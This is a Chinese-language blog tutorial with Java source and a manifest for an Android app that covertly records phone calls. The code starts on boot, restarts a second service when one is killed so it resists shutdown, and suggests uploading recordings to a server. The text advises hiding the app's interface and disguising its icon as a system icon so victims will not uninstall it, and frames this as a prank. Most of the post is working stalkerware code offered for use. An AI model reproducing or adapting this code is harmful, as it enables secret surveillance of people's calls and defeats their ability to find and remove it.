android電話監聽實現
一、開頭先廢話下(忍耐下...)
1.今天天氣不錯,已經確定沒有其他事了,心裡很平靜,就開始總結下。發現寫總結看起來簡單,但是其實很考驗人,因為有時會覺得沒有意義,沒有人會看,沒有人會關注。就當做自我的一個筆記,很多年看到這,就會會心一笑,這個時候的我多幼稚。可能這個就是成長吧。
2.監(qie)聽電話原理其實很簡單,就是利用android系統提供的api實現。
二、步入正題(不能囉嗦太多...)
1.首先新建一個SystemService繼承Service
2.拿到TelephoneManager的例項,呼叫它的listen方法
<span style="font-size:18px;"> * Registers a listener object to receive notification of changes * in specified telephony states. * <p> * To register a listener, pass a {@link PhoneStateListener} * and specify at least one telephony state of interest in * the events argument. * * At registration, and when a specified telephony state * changes, the telephony manager invokes the appropriate * callback method on the listener object and passes the * current (udpated) values. * <p> * To unregister a listener, pass the listener object and set the * events argument to * {@link PhoneStateListener#LISTEN_NONE LISTEN_NONE} (0). * * @param listener The {@link PhoneStateListener} object to register * (or unregister) * @param events The telephony state(s) of interest to the listener, * as a bitwise-OR combination of {@link PhoneStateListener} * LISTEN_ flags. */ public void listen(PhoneStateListener listener, int events) { String pkgForDebug = mContext != null ? mContext.getPackageName() : "<unknown>"; try { Boolean notifyNow = true; sRegistry.listen(pkgForDebug, listener.callback, events, notifyNow); } catch (RemoteException ex) { // system process dead } catch (NullPointerException ex) { // system process dead } }</span>
這個是原始碼,簡單的說就是listen方法第一個引數就是給物件註冊監聽事件,第二個引數就是你要監聽的物件內容。
3.電話有很多種狀態,在不同的狀態下寫你自己的事件(後面程式碼註釋很詳細)
4.例項化一個錄音機,當通話狀態時,開始錄用,通話狀態結束時,把音訊檔案在後臺上傳到伺服器,例項化錄用程式碼註釋很詳細。
5.如何監聽它了??這個就需要用到廣播。它的作用就是隻要使用者一開機就開始進行監聽。把我們上面的SystemService這個服務開啟起來。使用 android.intent.action.BOOT_COMPLETED這個廣播就能一開機就開始監聽。相當於使用者一開機就把服務開起來。
<span style="font-size:18px;"> * 監聽android開機廣播(只要手機一開機就開始監聽) */ public class BootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent i = new Intent(context,SystemService.class); context.startService(i); } } </span>
6.採用守護執行緒,當你的服務OnDestroy的時候,開啟另外的一個服務,這樣除非使用者同時關掉兩個,不然不能把你的應用完全殺88死。你的應用可以死而復生。
7.MyActivity裡面設定了兩個按鈕一個開啟服務,一個關閉服務,方便學習。當然你也可以讓使用者一安裝你的應用,就看不到(直接在OnCreate這個生命週期呼叫finish())。然後把你的圖示換成系統圖標,這樣使用者就不敢隨便解除安裝。然後惡作劇就成功了....
8.記得在AndroidManifest.xml新增許可權和註冊
<span style="font-size:18px;"> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:label="@string/app_name" android:icon="@drawable/ic_launcher"> <activity android:name="MyActivity" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <service android:name="com.andrew.systemservice.SystemService" /> <service android:name="com.andrew.systemservice.SystemService2" /> <receiver android:name="com.andrew.systemservice.BootReceiver" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> </application></span>
三、貼程式碼(夠直接吧....)
1.SystemService
<span style="font-size:18px;">
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
import java.io.File;
public class SystemService extends Service {
// 電話管理器
private TelephonyManager tm;
// 監聽器物件
private MyListener listener;
//宣告錄音機
private MediaRecorder mediaRecorder;
@Override
public IBinder onBind(Intent intent) {
return null;
}
/**
* 服務建立的時候呼叫的方法
*/
@Override
public void onCreate() {
// 後臺監聽電話的呼叫狀態。
// 得到電話管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
private class MyListener extends PhoneStateListener {
// 當電話的呼叫狀態發生變化的時候呼叫的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://空閒狀態。
if(mediaRecorder!=null){
//8.停止捕獲
mediaRecorder.stop();
//9.釋放資源
mediaRecorder.release();
mediaRecorder = null;
//TODO 這個地方你可以將錄製完畢的音訊檔案上傳到伺服器,這樣就可以監聽了
Log.i("SystemService", "音訊檔案錄製完畢,可以在後臺上傳到伺服器");
}
break;
case TelephonyManager.CALL_STATE_RINGING://零響狀態。
break;
case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態
//開始錄音
//1.例項化一個錄音機
mediaRecorder = new MediaRecorder();
//2.指定錄音機的聲音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//3.設定錄製的檔案輸出的格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
//4.指定錄音檔案的名稱
File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
//5.設定音訊的編碼
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
//6.準備開始錄音
mediaRecorder.prepare();
//7.開始錄音
mediaRecorder.start();
break;
default:
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
/**
* 服務銷燬的時候呼叫的方法
*/
@Override
public void onDestroy() {
super.onDestroy();
// 取消電話的監聽,採取執行緒守護的方法,當一個服務關閉後,開啟另外一個服務,除非你很快把兩個服務同時關閉才能完成
Intent i = new Intent(this,SystemService2.class);
startService(i);
tm.listen(listener, PhoneStateListener.LISTEN_NONE);
listener = null;
}
}
</span>
2.BootReceive
<span style="font-size:18px;">
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
/**
* 監聽android開機廣播(只要手機一開機就開始監聽)
*/
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent i = new Intent(context,SystemService.class);
context.startService(i);
}
}
</span>
四、完整程式碼請移步下載
歡迎關注個人微信公眾號,專注於Android深度文章和移動前沿技術分享